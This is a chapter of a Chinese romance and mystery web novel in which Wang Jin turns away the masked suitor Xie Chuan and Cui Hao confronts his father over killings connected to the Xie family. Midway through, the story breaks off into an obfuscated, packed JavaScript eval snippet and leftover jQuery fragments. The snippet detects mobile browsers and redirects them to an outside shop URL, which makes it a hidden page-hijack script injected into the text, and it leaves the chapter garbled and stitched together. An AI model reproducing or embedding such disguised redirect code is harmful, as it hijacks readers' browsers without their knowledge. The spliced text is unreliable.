68. 探察

作品:《被夫君发现短命怎么办

    初秋天气,夜晚开始微凉,清冷的月光透过纱帘照进屋中,如白霜一般。


    矮榻上,王瑾拿着一本话本翻了又翻,心烦意乱地没有看进去一个字。


    突然,窗外传来一声踩破落叶轻响。


    “谁?”王瑾猛地盯向窗外,手中捏紧了钢针,来人脚步声很轻--不是杏儿和司琴。


    “许久不见,小姐莫不是早已把在下忘了?”一个戏谑的声音从屋外传来,谢川一袭黑衣,脸上带着银狼面具踏入屋中。


    来人竟是谢川!


    她坐在矮榻上没有起身,惊讶地抬头看他:“不知谢公子今日过来,所为何事?”


    自从成亲前那次不欢而散,王瑾以为,以他的骄傲会和她老死不想往来。


    没想到他又来了,还是堂而皇之出现在一木居。


    “小姐不欢迎?欠了谢某这么多人情,莫非不打算还了?”谢川双目似笑非笑地望着她,银狼面具反射着冷硬的光。


    看着他的眼睛,王瑾想起了崔灏含笑的双目,一瞬间晃了神。


    怎么又想到了崔灏,她心中一哂,眼波流转,回过神来,面色如常道:“王瑾不敢忘记公子大恩,不知公子想要我怎么还这些恩情?”


    “我说你可以以身相许,但你当时说你有丈夫,拒绝了。如今……”谢川略为停顿,接着笑道,“你和他都要和离了,考虑下谢某如何?”


    王瑾听到这句话,后背一凉,谢川如何得知他们闹了矛盾,甚至,还知道他们提到了和离?


    莫非是崔灏向谁说起过,不,不可能,这种事情,崔灏怎么可能说与人听?


    难道,谢川在府中有眼线?


    当时,她与崔灏的在屋内争执,即便他在府中有眼线,也很难探听得到,她盯着谢川,暗暗起了戒备。


    谢川看出她的防备,轻笑一声道:“我原本是想诈你,没想到你们真起了矛盾,能和我说说,到底怎么回事?”


    原来对方只是随口一说,王瑾轻吐一口气。


    她没有回答谢川,起身来到桌前,招呼谢川坐下,唤来杏儿上茶。


    杏儿向来与谢川有些不对付,端茶进门,一看是他,翻了个白眼,把茶碗往谢川身前一放,抱着茶盘瞪着他不走。


    怎么不长眼的赖皮谢川又来了,每次一来,一双眼睛恨不得粘在小姐身上。


    她要守在这里,小姐今日刚和姑爷起了争执,可不能让他趁虚而入了。


    谢川对她的注目视而不见,气定神闲揭开茶碗,轻吹茶沫。


    氤氲的水汽在他面具上添了一层薄雾,又很快消散开来。


    王瑾看得好笑,轻声道:“杏儿,你先下去吧。”


    “可是……”杏儿想要分辩,瞧着王瑾摇头,嘟着嘴,甩头出了屋子。


    “小姐还没说您和崔家二公子怎么回事。”


    没想到刚才一打岔,谢川仍然揪着这个话题不放。


    王瑾并不想回答,没好气道:“公子似乎对我的婚后生活颇为关心。我夫妻之间有无嫌隙干你何事?”


    谁知谢川不在意她的态度,誓要这个话题进行到底,笑道:


    “小姐与崔二公子因为婚约成婚,迟早会厌倦这门婚事,一旦小姐厌倦,谢某的机会不就来了?”


    王瑾被谢川气笑了,婚前最后一次见面,她故意言语刺激,伤了他的面子,以为他就此打住,没想到仍还不放弃,此时还想趁虚而入。


    她用指尖轻描茶碗边缘,垂眸道:“我与崔二公子确实因为婚约成婚,但婚后,我早已心悦于他,即便是我与他有不得不和离的缘由,我也不会因此而找其他人。”


    说完,她抬起乌黑的眼睛,定定地看着谢川,想从他脸上找出决定放弃的蛛丝马迹,可对方带着面具,很难看出一点端倪。


    甚至,她觉得也许是错觉,对方听完以后更加开心了?


    王瑾感觉没错。


    听得王瑾承认心悦自己,不会找其他人,谢川心情飞扬,为了不让王瑾看出端倪,强行将嘴角压下。


    可他仔细琢磨她后半句话,又觉出一丝不对劲来:“你说你与崔二公子有不得不分开的理由?”


    “我只是随口假设,哪有什么缘由。”王瑾自知说漏了嘴,目光一闪,没有丝毫慌乱,不着痕迹圆了回来。


    谢川没有听出她的刻意掩饰,神色似乎黯淡许多,一连喝了好几口茶,叹息一声道:“崔二公子能得小姐真心,真是好福气。


    谢某心仪小姐已久,只可惜落花有意,流水无情。


    虽然谢某与小姐无缘,好歹算是个朋友。


    报答恩情之类的话,日后不用再提,若有用得着的地方,可以让景苑转告……”


    谢川心情今夜不佳,言谈间没有了调侃和插科打诨,不一会儿便匆匆告辞离开。


    王瑾目送他,头也不回出了小院,不禁有些怅然,或许这次,他真的再也不会来了。


    他们相识在前,谢川对她有大恩,她不能说对他没有一点好感,却因为天道命数,不得不履行婚约错过了。


    如今她爱上了崔灏,还好,谢川虽然有些难受,也算从那段尚未萌发的感情中走了出来。


    谢川虽仍将她当做朋友,但她已经暗自决定,日后绝不打扰他。


    她不知道的是,谢川急着离开,并非她以为的情伤。


    方才言谈之间,心细如尘的崔灏,已经敏锐地捕捉到了,她那一瞬间的不自在。


    她那天除了见过肖晖,一定发生了其他事情。


    崔灏将那日前后的事情仔细梳理了一番,灵光一闪,他想到了应泰夫妇的异常反应。


    据司墨所言,应泰夫妇半夜有急事来见王瑾,第二日清早,他和王瑾一起见他们时又什么都不肯说。


    再往前回溯,前日傍晚,应泰夫妇同他们一起出门回崔府,然后要去酒楼庆祝应泰生辰,没有任何异常--也就是说,事情是他们回崔府时发生的……


    崔灏查得很快,第二日,便得知了当夜应泰夫妇的行踪。


    初秋的天气,本应是万里无云的爽朗,此刻却是乌云密布。


    黑沉沉的云垂得很低,压得人快要喘不过起来,秋蝉也噤了声。


    书房中,崔灏将得来的消息一遍遍在脑海中细细拆分、过滤。


    那日夜里,应泰夫妇没有去庆生,而是查了崔府,还去了玉带桥。而一切的开始,是他们见了久未归家的崔九。


    崔府、崔九、玉带桥、应泰、曾叶,究竟有什么联系?


    突然,一道闪电撕裂天空,自上而下击中了庭前的翠竹。


    电光石火之间,他惊得扶住了桌子,猛抬起头,额头上已经冷汗密布,一个可怕的猜想浮现……<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978568|182254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>一旦崔灏有心调查崔家,自然没有什么是查不出来的。


    很快,他便得知,十八年前,崔九曾被父亲派到晋中办事;王瑾医馆遇袭后,崔十和崔十五便被父亲派去了漠北。


    将崔九、崔十、崔十五抓回来审问毫无意义,他们无非是执行父亲命令。


    所有的一切,都指向了父亲。


    谢衍全家的惨案,再也查不到蛛丝马迹,但是,企图追杀目击证人的,一定是凶手。


    崔灏不敢置信,向来正直古板的父亲会是凶手!


    天气已经彻底转凉,珠子般成串的秋雨一整夜都不会停。


    路上几乎没有行人,崔灏冒雨打马,从一木居出来,向崔府奔去,马蹄踏过,溅起一路水花。


    他心里憋着一团火,骑马至崔府门前,下马用力拍门吼道:“开门。”


    崔府大门被拍得闷响,门房的灰衣小仆,正想斥责是哪个不长眼的,敢在崔府撒野,便听出了崔灏的声音,忙不迭为他开门。


    一开门,灰衣小仆被惊呆了。


    崔灏浑身湿漉漉地站在门外,额前的湿发还在滴水。


    “二少爷,您这,小的给您拿伞。”小仆飞快地跑回屋中取伞,待他抱着伞出来,崔灏已经径直向内院去了,只留下雨中朦胧的背影。


    这个时候崔鹏应该在书房,崔灏急冲冲向着书房而去,来到书房门口,正要推门而入,却顿住了。


    “老爷,这些天你咳得厉害,我让厨房炖了些冰糖雪梨,先吃了再忙。”谢华的声音从书房里传来。


    “谁在外面?咳咳……”崔鹏听到门外动静问道。


    崔灏本想等谢华离开再进屋,既然已被发现,便推门进了屋里。


    “灏儿,怎么弄成这样,这是从一木居过来也不打伞?”


    谢华看见崔灏如同从水里捞出来一般,拉着他惊呼道,“你先回屋换件衣服再来。”


    崔灏摇摇头道:“娘,我事要问爹。”


    他定定地看向崔鹏道:“爹,十八年前,你是否派人去晋中追杀过一位夫人,前些日子瑾儿他们在医馆遇袭是不是你做的?”


    面对质问,崔鹏面无表情,冷冷道:“这就是你和父亲说话的态度吗?我做了什么为何要向你交代?”


    虽然崔鹏没有直接承认,但崔灏已经确定,这些都是对方做的。


    他的心如同贴着身体的湿衣服一般,冰冷到了极点:


    “你为了掩盖勾结漠北、杀害谢衍一家的罪行,先后派出崔十他们追杀曾氏,仅仅因为她可能是目击者。”


    谢华吃惊地张大了嘴巴,崔鹏大怒道:“你在胡说什么,勾结异族,屠杀同僚全家。将这种脏水泼到你父亲身上。”


    “你不认?”崔灏冷笑道,“那我问你,为何要追杀曾氏?”


    崔鹏像被人迎头浇了盆冷水,突然蔫了下去,顿了顿道:“这个我不能告诉你。”


    崔灏满目嘲讽,他想不到父亲竟然是个道貌岸然,满手血腥的伪君子。


    他不想再多说一句话,冷笑着转身向外走去,抬起的腿仿佛有千钧。


    当他路过谢华的时候,却被她拉住了:“你父亲不说,我告诉你。”


    “夫人,不要说。”崔鹏喝住谢华想要阻止。


    谢华向他粲然一笑道:“不能让孩子误会你。放心,我有分寸。”